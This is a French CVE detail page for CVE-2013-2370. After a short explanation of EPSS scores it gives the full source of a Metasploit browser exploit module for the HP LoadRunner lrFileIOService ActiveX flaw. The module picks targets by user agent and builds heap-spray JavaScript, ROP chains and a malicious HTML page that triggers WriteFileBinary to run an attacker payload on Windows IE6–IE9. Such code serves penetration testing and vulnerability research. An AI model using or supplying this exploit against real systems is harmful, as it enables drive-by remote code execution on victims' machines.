CVE-2013-2370 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "6.0", :ua_maxver => "9.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :rank => Rank, :classid => "{8D9E2CC7-D94B-4977-8510-FB49C361A139}", :method => "WriteFileBinary" }) def initialize(info={}) super(update_info(info, 'Name' => "HP LoadRunner lrFileIOService ActiveX Remote Code Execution", 'Description' => %q{ This module exploits a vulnerability on the lrFileIOService ActiveX, as installed with HP LoadRunner 11.50. The vulnerability exists in the WriteFileBinary method where user provided data is used as a memory pointer. This module has been tested successfully on IE6-IE9 on Windows XP, Vista and 7, using the LrWebIERREWrapper.dll 11.50.2216.0. In order to bypass ASLR the no aslr compatible module msvcr71.dll is used. This one is installed with HP LoadRunner. }, 'License' => MSF_LICENSE, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-2370' ], [ 'OSVDB', '95640' ], [ 'BID', '61441'], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-182/' ], [ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03862772' ] ], 'Payload' => { 'Space' => 1024, 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'DefaultOptions' => { 'PrependMigrate' => true }, 'Platform' => 'win', 'Targets' => [ # LrWebIERREWrapper.dll 11.50.2216.0 [ 'Automatic', {} ], [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :jre, 'Offset' => '0x5f4' } ], [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ], [ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4' } ], [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4' } ], [ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fe' } ] ], 'Privileged' => false, 'DisclosureDate' => "Jul 24 2013", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def ie_heap_spray(my_target, p) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) # Land the payload at 0x0c0c0c0c case my_target when targets[6] # IE 9 on Windows 7 js = %Q| function randomblock(blocksize) { var theblock = ""; for (var i = 0; i < blocksize; i++) { theblock += Math.floor(Math.random()*90)+10; } return theblock; } function tounescape(block) { var blocklen = block.length; var unescapestr = ""; for (var i = 0; i < blocklen-1; i=i+4) { unescapestr += "%u" + block.substring(i,i+4); } return unescapestr; } var heap_obj = new heapLib.ie(0x10000); var code = unescape("#{js_code}"); var nops = unescape("#{js_random_nops}"); while (nops.length < 0x80000) nops += nops; var offset_length = #{my_target['Offset']}; for (var i=0; i < 0x1000; i++) { var padding = unescape(tounescape(randomblock(0x1000))); while (padding.length < 0x1000) padding+= padding; var junk_offset = padding.substring(0, offset_length); var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length); while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock; sprayblock = single_sprayblock.substring(0, (0x40000-6)/2); heap_obj.alloc(sprayblock); } | else # For IE 6, 7, 8 js = %Q| var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x300; i++) { heap_obj.alloc(block); } | end js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end return js end def get_payload(t, cli) code = payload.encoded fake_object = [ 0x0c0c0c0c, # fake vftable pointer 0x0c0c0c14 # function pointer ].pack("V*") # No rop. Just return the payload. return fake_object + code if t['Rop'].nil? # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :jre print_status("Using msvcr71.dll ROP") fake_object = [ 0x0c0c0c0c, # fake vftable pointer 0x7c342643 # xchg eax,esp # pop edi # add byte ptr ds:[eax],al # pop ecx # retn ].pack("V*") rop_payload = fake_object + generate_rop_payload('java', code)#, {'pivot'=>stack_pivot}) end return rop_payload end def load_exploit_html(my_target, cli) p = get_payload(my_target, cli) js = ie_heap_spray(my_target, p) object_id = rand_text_alpha(rand(10) + 8) html = %Q| <html> <head> <script> #{js} </script> </head> <body> <object classid='clsid:8D9E2CC7-D94B-4977-8510-FB49C361A139' id='#{object_id}'></object> <script language='javascript'> #{object_id}.WriteFileBinary("#{rand_text_alpha(4+ rand(4))}", 0x0c0c0c0c); </script> </body> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end html = load_exploit_html(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end